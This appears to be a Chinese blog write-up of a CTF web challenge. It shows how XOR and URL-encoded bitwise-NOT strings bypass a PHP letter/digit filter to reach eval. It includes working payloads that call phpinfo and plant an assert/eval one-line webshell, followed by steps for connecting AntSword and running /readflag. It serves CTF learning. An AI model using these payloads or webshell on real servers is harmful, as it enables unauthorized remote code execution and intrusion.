[极客大挑战 2019]RCE ME1 wp (解决蚁剑连不上的问题)

知识点:编码绕过,异或绕过

进入页面

发现字母和数字全被过滤了,这时候就要考虑异或绕过和编码绕过了

这里我采用url取反绕过:

先将想要执行的命令进行 URL 编码,再取反。当服务端接收参数并进行 URL 解码时,取反后的编码会被解码成不可打印字符等形式,从而绕过对常见字母、数字等字符的过滤检查

简答来说就是:取反后的payload,服务器没有做防护,服务器自动url解码后会发现一堆特殊的字符,无法识别,也就过滤不了,最后再通关参数传进eval等函数中执行取反操作,取反成正常的payload

先url取反一个phpinfo

<?php

echo urlencode(~"phpinfo");

?>

然后把取反后的值放入code参数中

Payload:

?code=(~%8F%97%8F%96%91%99%90)();

发现可以执行,既然这样那就写一个一句话木马:

<?php

echo urlencode(~"assert");

echo "\n";

echo urlencode(~'(eval($_POST[a]))');

?>

解析:echo "\n" 是用来分割的,assert是因为上面的php禁用了很多函数,但是没有禁用assert,所以拼接起来就是一个一句话木马

Payload:

?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);

把url复制进蚁剑,

编码器先试试第一个,不行再按我的设置来,还有如果windows的蚁剑无法连接的话直接去用kali的蚁剑(要自己下)。

在根目录发现两个flag相关的

flag没有,那就是readflag了

readlfag查看之后是乱码

这里需要一个蚁剑的插件,去插件市场下(如果打开很慢,那就去开给代理试试)

一般第三个就是,之后右键加载插件

之后选择模式,点击开始

点击开始之后会是这样

之后输入/readflag

还要一种不用蚁剑插件的用法,我懒得复现了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值